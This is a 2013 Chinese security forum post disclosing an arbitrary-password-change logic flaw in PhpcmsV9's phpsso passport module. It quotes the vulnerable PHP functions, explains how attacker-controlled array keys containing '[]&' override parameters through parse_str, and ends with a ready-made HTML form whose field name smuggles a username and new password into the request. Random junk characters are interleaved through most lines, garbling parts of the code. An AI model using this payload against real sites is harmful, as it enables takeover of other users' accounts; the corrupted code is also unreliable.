找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1785|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
提到的通行证的代码:: _6 [0 s6 z" X9 c) j7 Z# f( c3 m4 y

3 p- J1 J$ z. ~9 O1 g0 Z9 X; r# @* G" }6 x
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);% M7 C: i% Z/ N1 w

. R5 Z4 H- N' Q6 i- |- b' I% M在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。) s4 q) f/ u! B  e
2 P1 e: @9 Z  K6 p/ e
我把它留给了你们。
1 W$ b0 g6 A; _- j6 U不知道你们发现了它没有。* Z  ~9 m7 U7 H" @  W; e
# M, L6 s9 g, m+ }, N; ]
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
' y# O6 T  m  n* j. a! {, D0 \- ^1 c6 l- a$ O/ D% W$ ~, Z
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
  {) ^6 z1 C5 M2 q% u1 M* F0 |
" r# ?: ?8 W+ c4 X* L; G也就是
$ m% u  o" \0 G" O3 ?0 F  w( s3 J  s9 |" c- X6 o/ |& k
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
* J; r3 @8 @' c  |1 o  u1 ?$ F8 t7 p! Z- R1 b/ X
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。* E4 E4 Q! T" l0 e7 V$ a
* Z5 n! _# Q( f' I- p& b

2 k5 y8 [$ s1 U, Q# a8 |4 ^其实我们有这样的机会,看看代码,如下:
  a1 R3 j  ^$ `7 R3 a0 }- |. v3 R) t- p
6 K+ \3 B9 P) _+ \
public function auth_data($data) {
5 p% F+ [/ ~- f$ q9 h- d# F                $s = $sep = '';
6 Z) U( Z0 R# ^4 s: _1 G/ {                foreach($data as $k => $v) {* L! C; Z: b  ^( Y! W; @. A2 u' d
                        if(is_array($v)) {/ L' `+ I. k6 L7 g8 d4 }% O3 \
                                $s2 = $sep2 = '';; ]; t7 W( d0 z3 N; t8 n! @
                                foreach($v as $k2 => $v2) {
7 G2 ]" L5 {8 _                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
2 k- {" f2 C0 ~0 \! M* A                                        $sep2 = '&';
+ Z8 X* q9 w0 W5 S7 d% X                                }
; i7 F9 B+ n- q% E: Q; S" L8 E                                $s .= $sep.$s2;* C; C0 C( k0 R9 p3 J) p: a
                        } else {7 q+ n+ q% N- m/ V9 @$ ^
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);. B( Y6 E) U7 O' j/ d
                        }8 G( q9 g! b% S1 U. B
                        $sep = '&';6 u+ t$ T2 \# r' e7 y! P
                }% l* S9 a" M) L6 U8 H% N. A

" K  z8 i9 u7 v$ P( W                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
5 f; K; |8 M2 D# V. N# k. a- a                return $auth_s;
3 D4 W" o5 G* r$ {$ w$ y* S        }
5 d- x* L- O  @) M" Z5 j/ m/ J; S- C; C2 |3 L+ m) K4 h
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。& }5 o2 _* Y& X$ W7 m

! N  I, x# `9 l8 z  I: t举个例子' _% t- S; W2 W5 O4 x1 I
% [$ ~: V; ^% z$ H$ t$ C5 _, s
$a[aaa=a&bbb] = 'a';* B  ~2 _" W! r9 c
& K. f3 }7 |" i, a$ [4 ]$ l
会变成aaa=a&bbb=a5 P/ W6 V% B. I  q/ a. z, o1 ~) Q

* U! D" y6 I+ w明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。3 D/ f; |! c7 T# P# ~
5 @+ L  \6 w2 t0 |
这个时候,我们可以再去看一个函数。
% B) A" }) e0 H( W' m# `) V' x4 G7 _( l" `) K
就在这个文件内:& h1 B- s7 ]/ I5 Q4 S, ~/ p

  A  b# A# g. B5 W( V: f( m. X% t
% Y1 V# l# z8 y) |5 y3 O/ f( rpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {* `5 j. |9 H# @# A! d6 @
                if($email && !$this->_is_email($email)) {' z- I' |  P8 Z+ E6 ^$ S
                        return -4;
5 h$ e; ]: j0 P6 t, W& U4 ~                }
6 O4 M; y+ ^0 O& s& r- @- S                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
7 h0 @1 E4 t1 i) N$ k6 i' o$ A        }
# }1 }3 y( x/ ]: U+ ~4 b* Y/ f' A6 I9 k' l* M7 \0 w
这是向通行证发了这样一个请求。. k. ^9 E( T5 I1 @& F

) b% x- P" G% ^, I我们再跟到通信证代码里去看看,就会有所发现。
. Z5 j. j' }' h* h0 f% I+ V" Q4 X; J  z3 s+ Y* l! E
6 k7 S' r+ ?1 o
public function edit() {
' c' {' l5 b( \0 l) E. c7 F' ?0 X5 [//能省就省,太长了不是吗?  {% P3 a$ _9 A5 s' ~8 q

1 }& e( x2 n7 Z5 _# vif($this->username) {
/ I0 Z5 D& v  E* T//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
- f8 k! y& J4 K. u+ E. r  k                                $res = $this->db->update($data, array('username'=>$this->username));' Y( k1 l' V6 Z; D; D, F
                        } else {6 `7 O4 U* k) V; g0 O  K
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);7 M7 I) e% s  l$ r/ g  c7 E
                                $res = $this->db->update($data, array('uid'=>$this->uid));& G  G1 h, o& Z; q
                        }! C7 v9 P3 n! |6 Z& v7 E0 d
6 s3 P( a/ D4 ^+ o/ m% P
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:/ R, r+ I9 j8 Y7 ~, @* k) N
0 ]1 [, e  Z/ R, d6 ~' q; }
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random=''): w* X- f) k) ^

: W% d* q' r; f# V% C  e  g很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
' s& t! a! x0 O: j
3 _8 K1 s5 ?' x# m9 v1 N& S3 X4 F+ |我当然找到了:5 l+ R6 x% H  k' c4 l& H/ L4 j. _# R
phpcms9/phpcms/modules/member/index.php! b, Y2 t$ \3 p6 ]. C2 D
$ g0 J" {- m* c' n* ?$ b) }
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);, |/ g: b- Z5 a

0 l5 i1 P! d: ?% `% j: X, G然后就没有然后了。) a8 q- Z1 `8 c, p& n6 ]
0 q9 y- b* x2 ]& w
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
" |' f) j' f3 U( K( X9 d                                <table width="100%" cellspacing="0" class="table_form">
# _, `7 k  c( K3 y                                        <tr>
) e' l3 c! }6 x& X& N8 X                                                <th width="80">邮箱:</th>        ) V1 P- b. t6 O2 x9 a7 c! A
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
( S; B* h2 p2 s* `1 {9 G                                        </tr>/ l7 n5 o4 E, q) O: f* I3 _. ^9 g
                                        <tr>
; t8 k& l! o6 }3 P) l6 e! K4 ^                                                <th width="80">原密码:</th>        4 t* i& Y0 y1 X0 Z
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
5 }4 u& G. T+ ]7 f' V) Q/ E                                        </tr>( j' b& [1 c3 `
                                        <tr>
( q& r, t' N( y' b, D: A                                                <th>新密码:</th>! m! d0 w. Q) P8 l5 w7 H
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>6 X0 T% Q0 O( s/ P; J& ^- _
                                        </tr>1 m. w: \; B: A
                                        <th></th>
& [8 M+ u; H( V( s7 k. U                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>2 k2 {) ]* v: a1 d, H  D; x0 p
                                        </tr>/ e1 s6 ?* U' d0 \; q" K
                                </table>/ [3 d. i' B# D$ y, L% n
, X: v" R+ G$ r' S) j
                               
: T- {( g4 s$ ^5 B                        </form>2 C0 s3 x* j! ^9 @1 Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表